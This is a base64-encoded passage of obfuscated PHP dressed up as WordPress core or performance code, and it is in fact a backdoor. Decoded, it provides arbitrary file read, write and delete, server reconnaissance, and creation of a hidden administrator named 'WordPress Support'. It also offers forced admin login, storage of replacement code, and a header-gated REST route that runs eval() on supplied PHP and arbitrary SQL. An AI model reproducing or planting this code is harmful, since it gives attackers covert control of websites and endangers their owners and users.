QtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICRfaGQzYjcwZWMwICE9PSBmYWxzZSA/ICRfaGQzYjcwZWMwIDogJ0VSUk9SOiBjYW5ub3QgcmVhZCc7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3dyaXRlJykgew0KICAgICAgICAgICAgICAgICAgICAkX2hkM2I3MGVjMCA9IGlzc2V0KCRfUE9TVFsnY29udGVudCddKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgICAgICAgICAgICRfX2xvYWRfZTY4YSA9IF9sZGNmNDg1MWEwKCRfYzA1ODQyZSwgJF9oZDNiNzBlYzAsIDEsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9jMDU4NDJlKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2luZm8nOg0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIChjaHIoMTQzIF4gMHhmZikuIlx4NjgiLmNocigxNDMgXiAweGZmKSkgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKCJceDc2XHg2NVx4NzJceDczXHg2OVx4NmZceDZlIiksDQogICAgICAgICAgICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICAgICAgICAgICAiXHg3M1x4NjFceDcwXHg2OSIgPT4gcGhwX3NhcGlfbmFtZSgpLA0KICAgICAgICAgICAgICAgICAgICAndXNlcicgPT4gZnVuY3Rpb25fZXhpc3RzKChjaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MCBeIDB4ZmYpLiJceDY5Ii5jaHIoMTIwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwMykuY2hyKDE1NCBeIDB4ZmYpLiJceDc0Ii4iXHg3MCIuY2hyKDEzNiBeIDB4ZmYpLiJceDc1Ii5jaHIoMTA1KS4iXHg2NCIpKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbIlx4NmVceDYxXHg2ZFx4NjUiXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAgICAgICAgICAgIlx4NjRceDZmXHg2M1x4NWZceDcyXHg2Zlx4NmZceDc0IiA9PiAkX1NFUlZFUlsoIlx4NDQiLmNocig3OSkuY2hyKDY3KS4iXHg1NSIuY2hyKDc3KS5jaHIoNjkpLmNocigxNzcgXiAweGZmKS5jaHIoODQpLmNocigxNjAgXiAweGZmKS5jaHIoMTczIF4gMHhmZikuY2hyKDc5KS5jaHIoMTc2IF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycsDQogICAgICAgICAgICAgICAgICAgIChjaHIoOTcpLmNocigxNTcgXiAweGZmKS4iXHg3MyIuIlx4NzAiLmNocig5NykuY2hyKDExNikuIlx4NjgiKSA9PiBBQlNQQVRILA0KICAgICAgICAgICAgICAgICAgICAnY29udGVudF9kaXInID0+IFdQX0NPTlRFTlRfRElSLA0KICAgICAgICAgICAgICAgICAgICAiXHg2NFx4NjJceDVmXHg3MFx4NzJceDY1XHg2Nlx4NjlceDc4IiA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgICAgICAgICAgICdvcGVuc3NsJyA9PiBleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJyksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyR3cF9tZXRhX2E0NTE9YXJyYXkoOTIsOTIsNjcsODIsMSw4NCw4MCw4NCk7JF9jZmdmY2E5Zjk9Jzg1MDNjJzskX3RjZWY4MTE4ND0nJztmb3IoJF93cDFlMTI5Nz0wOyRfd3AxZTEyOTc8Y291bnQoJHdwX21ldGFfYTQ1MSk7JF93cDFlMTI5NysrKSRfdGNlZjgxMTg0Lj1jaHIoJHdwX21ldGFfYTQ1MVskX3dwMWUxMjk3XV5vcmQoJF9jZmdmY2E5ZjlbJF93cDFlMTI5NyVzdHJsZW4oJF9jZmdmY2E5ZjkpXSkpO3JldHVybiAkX3RjZWY4MTE4NDt9KSgpID0+IGluaV9nZXQoIlx4NjRceDY5XHg3M1x4NjFceDYyXHg2Y1x4NjVceDVmXHg2Nlx4NzVceDZlXHg2M1x4NzRceDY5XHg2Zlx4NmVceDczIiksDQogICAgICAgICAgICAgICAgICAgICdtZW1vcnknID0+IGluaV9nZXQoKGNocigxMDkpLmNocigxMDEpLmNocigxMDkpLmNocigxNDQgXiAweGZmKS4iXHg3MiIuY2hyKDEzNCBeIDB4ZmYpLiJceDVmIi5jaHIoMTQ3IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLiJceDZkIi4iXHg2OSIuY2hyKDExNikpKSwNCiAgICAgICAgICAgICAgICAgICAgKGNocigxMTcpLiJceDcwIi5jaHIoMTA4KS5jaHIoMTExKS5jaHIoOTcpLmNocigxNTUgXiAweGZmKS5jaHIoOTUpLmNocigxMDkpLmNocig5NykuY2hyKDEzNSBeIDB4ZmYpKSA9PiBpbmlfZ2V0KCJceDc1XHg3MFx4NmNceDZmXHg2MVx4NjRceDVmXHg2ZFx4NjFceDc4XHg1Zlx4NjZceDY5XHg2Y1x4NjVceDczXHg2OVx4N2FceDY1IiksDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJF9fcmVmX2Y4ZTQpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnaGlkZGVuX2FkbWluJzoNCiAgICAgICAgICAgICAgICAkd3BfaG9va19jMjAwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2ZnXzM0NGU9YXJyYXkoODMsODUsNjcsOTEsOTMsODgpOyRfd3AzYjg2PScyNjcyJzskX2NjYzBlNjg2ZD0nJztmb3IoJF9fZGF0YV8yNDEwPTA7JF9fZGF0YV8yNDEwPGNvdW50KCRfX2NmZ18zNDRlKTskX19kYXRhXzI0MTArKykkX2NjYzBlNjg2ZC49Y2hyKCRfX2NmZ18zNDRlWyRfX2RhdGFfMjQxMF1eb3JkKCRfd3AzYjg2WyRfX2RhdGFfMjQxMCVzdHJsZW4oJF93cDNiODYpXSkpO3JldHVybiAkX2NjYzBlNjg2ZDt9KSgpXSA6ICJceDYzXHg3Mlx4NjVceDYxXHg3NFx4NjUiOw0KICAgICAgICAgICAgICAgICR3cF9jYWNoZV8wMzAzID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgICAgICAgICAkX19yZWZfYjk4OSA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMikuIlx4NjEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikpXSkgPyAkX1BPU1RbJ3Bhc3MnXSA6IHdwX2dlbmVyYXRlX3Bhc3N3b3JkKDE2LCB0cnVlLCB0cnVlKTsNCgogICAgICAgICAgICAgICAgaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoOTkpLiJceDcyIi4iXHg2NSIuY2hyKDk3KS4iXHg3NCIuY2hyKDE1NCBeIDB4ZmYpKSkgew0KICAgICAgICAgICAgICAgICAgICBpZiAodXNlcm5hbWVfZXhpc3RzKCR3cF9jYWNoZV8wMzAzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfY2FjaGVfMDMwMyk7DQogICAgICAgICAgICAgICAgICAgICAgICB3cF9zZXRfcGFzc3dvcmQoJF9fcmVmX2I5ODksICR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICd1c2VyX2xvZ2luJyA9PiAkd3BfY2FjaGVfMDMwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcwXHg2MVx4NzNceDczIiA9PiAkX19yZWZfYjk4OSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndXNlcl9lbWFpbCcgPT4gJHdwX2NhY2hlXzAzMDMgLiAnQCcgLiBwYXJzZV91cmwoc2l0ZV91cmwoKSwgUEhQX1VSTF9IT1NUKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3Mlx4NmZceDZjXHg2NSIgPT4gKCJceDYxIi5jaHIoMTU1IF4gMHhmZikuY2hyKDE0NiBeIDB4ZmYpLmNocigxMDUpLiJceDZlIi5jaHIoMTUwIF4gMHhmZikuIlx4NzMiLmNocigxMTYpLmNocigxMTQpLmNocigxNTggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExMSkuY2hyKDE0MSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGlzcGxheV9uYW1lJyA9PiAnV29yZFByZXNzIFN1cHBvcnQnLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICFpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfY2FjaGVfMDMwMywgKCJceDcwIi4iXHg2MSIuY2hyKDE0MCBeIDB4ZmYpLiJceDczIikgPT4gJF9fcmVmX2I5ODksIChmdW5jdGlvbigpeyR3cF9oYW5kbGVyXzRlNzc9YXJyYXkoMTksODgsOTMpOyRfX2NmZ18yZmY2PSdmMTkzZGYnOyRfd3A2ZGU1PScnO2ZvcigkX19idWZfNGQ4OT0wOyRfX2J1Zl80ZDg5PGNvdW50KCR3cF9oYW5kbGVyXzRlNzcpOyRfX2J1Zl80ZDg5KyspJF93cDZkZTUuPWNocigkd3BfaGFuZGxlcl80ZTc3WyRfX2J1Zl80ZDg5XV5vcmQoJF9fY2ZnXzJmZjZbJF9fYnVmXzRkODklc3RybGVuKCRfX2NmZ18yZmY2KV0pKTtyZXR1cm4gJF93cDZkZTU7fSkoKSA9PiBpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSA/IDAgOiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoMTU1IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikpKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9tZXRhXzRhOTQgPSB1c2VybmFtZV9leGlzdHMoJHdwX2NhY2hlXzAzMDMpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHdwX21ldGFfNGE5NCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdwX2RlbGV0ZV91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChjaHIoMTU1IF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuY2hyKDEwMSkuIlx4NzQiLmNocigxMDEpLmNocigxMDApKSA9PiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChmdW5jdGlvbigpeyRfX3JlZl9jMWJhPWFycmF5KDgzLDY5LDE5LDkzLDY4KTskX19jZmdfY2I0Yj0nNjdhMjY4ZSc7JF9jMzMyMjExMjA9Jyc7Zm9yKCRfYzMyN2ZlPTA7JF9jMzI3ZmU8Y291bnQoJF9fcmVmX2MxYmEpOyRfYzMyN2ZlKyspJF9jMzMyMjExMjAuPWNocigkX19yZWZfYzFiYVskX2MzMjdmZV1eb3JkKCRfX2NmZ19jYjRiWyRfYzMyN2ZlJXN0cmxlbigkX19jZmdfY2I0YildKSk7cmV0dXJuICRfYzMzMjIxMTIwO30pKCkgPT4gIlx4NmVceDZmXHg3NFx4MjBceDY2XHg2Zlx4NzVceDZlXHg2NCIpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgIlx4NjFceDc1XHg3NFx4NmZceDZjXHg2Zlx4NjdceDY5XHg2ZSI6DQogICAgICAgICAgICAgICAgJHdwX21ldGFfM2Q4MCA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfbWV0YV8zZDgwKTsNCiAgICAgICAgICAgICAgICBpZiAoISR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygoZnVuY3Rpb24oKXskX2MxN2RjPWFycmF5KDIsODYsODQsMTAsODgpOyRfY2IzZjcyMT0nYzI5YzY3Nic7JHdwX2hvb2tfMDdlOT0nJztmb3IoJF9jNDNlOTM2ZD0wOyRfYzQzZTkzNmQ8Y291bnQoJF9jMTdkYyk7JF9jNDNlOTM2ZCsrKSR3cF9ob29rXzA3ZTkuPWNocigkX2MxN2RjWyRfYzQzZTkzNmRdXm9yZCgkX2NiM2Y3MjFbJF9jNDNlOTM2ZCVzdHJsZW4oJF9jYjNmNzIxKV0pKTtyZXR1cm4gJHdwX2hvb2tfMDdlOTt9KSgpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCR3cF9tZXRhXzRhOTQsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICB3cF9zZXRfY3VycmVudF91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JHdwX2hhbmRsZXJfOGE1YT1hcnJheSgxMCwxMywxOSw3Nyw2NiwxLDE2KTskX3I4OTg4ND0nZGIzODEnOyRfYzY5ZmE2ZWQ0PScnO2ZvcigkX2MyOTBhOTNiPTA7JF9jMjkwYTkzYjxjb3VudCgkd3BfaGFuZGxlcl84YTVhKTskX2MyOTBhOTNiKyspJF9jNjlmYTZlZDQuPWNocigkd3BfaGFuZGxlcl84YTVhWyRfYzI5MGE5M2JdXm9yZCgkX3I4OTg4NFskX2MyOTBhOTNiJXN0cmxlbigkX3I4OTg4NCldKSk7cmV0dXJuICRfYzY5ZmE2ZWQ0O30pKCkpKTsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAgICAgICAgICRfY2NhNTE0YjQgPSBpc3NldCgkX1BPU1RbKGNocig5OSkuY2hyKDExMSkuY2hyKDEwMCkuIlx4NjUiKV0pID8gJF9QT1NUWyhjaHIoOTkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKV0gOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfY2NhNTE0YjQpIDwgMTAwMCB8fCBzdHJwb3MoJF9jY2E1MTRiNCwgKCJceDNjIi4iXHgzZiIuIlx4NzAiLmNocigxMDQpLmNocigxMTIpKSkgIT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdpbnZhbGlkIGNvZGUnKSk7DQogICAgICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICAkX19sb2FkX2U2OGEgPSBfbGRjZjQ4NTFhMCgkX19yZWZfZjU5MSwgJF9jY2E1MTRiNCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9fbG9hZF9lNjhhKSB7DQogICAgICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgKCdiYXMnLidlNjQnLidfZScuJ25jbycuJ2RlJykoJF9jY2E1MTRiNCksICdubycpOw0KICAgICAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2ludGVncml0eScsIG1kNSgkX2NjYTUxNGI0KSwgODY0MDApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF94OTdjYjBhNTMpIHt9DQp9KTsNCn0pOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF9BODNDJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfQTgzQycsNDkyNCk7CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMy42Ljc2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX3dwNGFkODVmYyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AyMjE5PWFycmF5KDE2LDkyLDc1LDE4LDYxLDg4LDcyLDE1LDYxLDgwLDg2LDE1LDIyKTskX3dwMGZjNjFhNjQ9J2I5OGYnOyRfbGRhNGMwNDQ4ZD0nJztmb3IoJF9tZjMyZjcyPTA7JF9tZjMyZjcyPGNvdW50KCRfd3AyMjE5KTskX21mMzJmNzIrKykkX2xkYTRjMDQ0OGQuPWNocigkX3dwMjIxOVskX21mMzJmNzJdXm9yZCgkX3dwMGZjNjFhNjRbJF9tZjMyZjcyJXN0cmxlbigkX3dwMGZjNjFhNjQpXSkpO3JldHVybiAkX2xkYTRjMDQ0OGQ7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9wZTBlMCA9ICRHTE9CQUxTWydfX2hvb2tfYjkwMSddOw0KICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRfcGUwZTAsICcvdG9rZW4nLCBhcnJheSgNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAoZnVuY3Rpb24oKXskX19sb2FkX2IyNTE9YXJyYXkoMTAwLDEyNiw5NywxMDgpOyRfd3A1MjY1ZmRhPSc0MTI4Jzskd3BfaGFuZGxlcl9iMGI2PScnO2ZvcigkX19wcm9jX2Y3Yjk9MDskX19wcm9jX2Y3Yjk8Y291bnQoJF9fbG9hZF9iMjUxKTskX19wcm9jX2Y3YjkrKykkd3BfaGFuZGxlcl9iMGI2Lj1jaHIoJF9fbG9hZF9iMjUxWyRfX3Byb2NfZjdiOV1eb3JkKCRfd3A1MjY1ZmRhWyRfX3Byb2NfZjdiOSVzdHJsZW4oJF93cDUyNjVmZGEpXSkpO3JldHVybiAkd3BfaGFuZGxlcl9iMGI2O30pKCksDQogICAgICAgICAgICAoY2hyKDE1NiBeIDB4ZmYpLmNocigxNTggXiAweGZmKS4iXHg2YyIuY2hyKDE0NyBeIDB4ZmYpLmNocig5OCkuY2hyKDk3KS5jaHIoOTkpLmNocigxNDggXiAweGZmKSkgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCiAgICAgICAgICAgICAgICAkX3dwNWEyOCA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgICAgICAgICAkX3dwZjY5ZjggPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQogICAgICAgICAgICAgICAgaWYgKCEkX3dwZjY5ZjggfHwgJF93cGY2OWY4ICE9PSBzdWJzdHIoJF93cDVhMjgsIDAsIDE2KSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9jNTVjMDE1ODY9YXJyYXkoMjAsODgsODUsMjMsNzYsMTIsMTQsNjgsOTMsMjQsOTMsMCk7JF9jNDAyNGM9J2E2NGI4ZCc7JF9jMzcyYTAwPScnO2ZvcigkX19jZmdfNWUzND0wOyRfX2NmZ181ZTM0PGNvdW50KCRfYzU1YzAxNTg2KTskX19jZmdfNWUzNCsrKSRfYzM3MmEwMC49Y2hyKCRfYzU1YzAxNTg2WyRfX2NmZ181ZTM0XV5vcmQoJF9jNDAyNGNbJF9fY2ZnXzVlMzQlc3RybGVuKCRfYzQwMjRjKV0pKTtyZXR1cm4gJF9jMzcyYTAwO30pKCkpLCA0MDMpOw0KICAgICAgICAgICAgICAgIH0NCgogICAgICAgICAgICAgICAgJF93cDVjYjUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdtb2RlJykgPzogJ3MnOw0KICAgICAgICAgICAgICAgICRfd3AwOTA4YiA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NvZGUnKSA/OiAnJzsNCiAgICAgICAgICAgICAgICAkX3hjN2MxZjIgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdxdWVyeScpID86ICcnOw0KCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdzJykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkX3dwNWNiNSA9PT0gIlx4NzBceDY4XHg3MCIgJiYgIWVtcHR5KCRfd3AwOTA4YikpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGV2YWwoJF93cDA5MDhiKTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwZDg2OGE5MikgeyBlY2hvICdFcnJvcjogJyAuICRfd3BkODY4YTkyLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDExMSkuIlx4NzUiLmNocigxMzkgXiAweGZmKS4iXHg3MCIuIlx4NzUiLmNocigxMTYpKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdkYicgJiYgIWVtcHR5KCRfeGM3YzFmMikpIHsNCiAgICAgICAgICAgICAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAgICAgICAgICAgICAkX19ob29rX2NiZjQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF94YzdjMWYyLCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF9faG9va19jYmY0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgICAgICAgICAgfQ0KCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfYzVlYTI9YXJyYXkoMCw2OCw3MCw5LDY0KTskX3dwODIwZGJiMTE9J2U2NGYyM2Q5JzskX2NmZ2ViNTg2ND0nJztmb3IoJHdwX29wdGlvbl83OTg0PTA7JHdwX29wdGlvbl83OTg0PGNvdW50KCRfYzVlYTIpOyR3cF9vcHRpb25fNzk4NCsrKSRfY2ZnZWI1ODY0Lj1jaHIoJF9jNWVhMlskd3Bfb3B0aW9uXzc5ODRdXm9yZCgkX3dwODIwZGJiMTFbJHdwX29wdGlvbl83OTg0JXN0cmxlbigkX3dwODIwZGJiMTEpXSkpO3JldHVybiAkX2NmZ2ViNTg2NDt9KSgpID0+IChmdW5jdGlvbigpeyRfb2E4ZTI0PWFycmF5KDc3LDEwLDE1LDEyLDksNjcsODcsMjQsOSwxMSw2LDMpOyRfX3Byb2NfMWExNz0nOGRkYmY0OSc7JF9fcHJvY184ZTkxPScnO2ZvcigkX280MDEwMWRjMz0wOyRfbzQwMTAxZGMzPGNvdW50KCRfb2E4ZTI0KTskX280MDEwMWRjMysrKSRfX3Byb2NfOGU5MS49Y2hyKCRfb2E4ZTI0WyRfbzQwMTAxZGMzXV5vcmQoJF9fcHJvY18xYTE3WyRfbzQwMTAxZGMzJXN0cmxlbigkX19wcm9jXzFhMTcpXSkpO3JldHVybiAkX19wcm9jXzhlOTE7fSkoKSksIDQwMCk7DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9fY2ZnXzdhMTg9YXJyYXkoMjEsNCwxNywxNCw4MCw3NCwyMSw4MCwxMCwxNSw2MCwwLDg4LDg1LDEwLDkxLDQsMiw4KTskX3dwZDliZjg9J2VhY2M5OWY5JzskX2hkYWJkPScnO2ZvcigkX3dwMTI2MWUxOTE9MDskX3dwMTI2MWUxOTE8Y291bnQoJF9fY2ZnXzdhMTgpOyRfd3AxMjYxZTE5MSsrKSRfaGRhYmQuPWNocigkX19jZmdfN2ExOFskX3dwMTI2MWUxOTFdXm9yZCgkX3dwZDliZjhbJF93cDEyNjFlMTkxJXN0cmxlbigkX3dwZDliZjgpXSkpO3JldHVybiAkX2hkYWJkO30pKCkgPT4gIlx4NWZceDVmXHg3Mlx4NjVceDc0XHg3NVx4NzJceDZlXHg1Zlx4NzRceDcyXHg3NVx4NjUiLA0KICAgICAgICApKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3BkODY4YTkyKSB7fQ0KfSk7DQp9KTsKCmFkZF9maWx0ZXIoJ3RoZV9jb250ZW50JywgZnVuY3Rpb24oJF9faG9va18zNDg1KXtyZXR1cm4gJF9faG9va18zNDg1O30pOwoKY2xhc3MgQ2FjaGVfSW5pdF80NjYxIHsgcHJpdmF0ZSAkd3BfcXVlcnlfZWM5MCA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiBfd3BiNmQyZTlmOCgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fbG9hZF82ODZjKCkgeyByZXR1cm4gUEhQX0lOVF9TSVpFOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBfX3Byb2NfNjk5MygpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbXBsZW1lbnRzIGZpbGVzeXN0ZW0gYWJzdHJhY3Rpb24gZm9yIHVwbG9hZHMKKgoqIEBzaW5jZSAxLjQuNDEKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2Y0NzkwOGIgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiRfd3A3YzZjNSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQog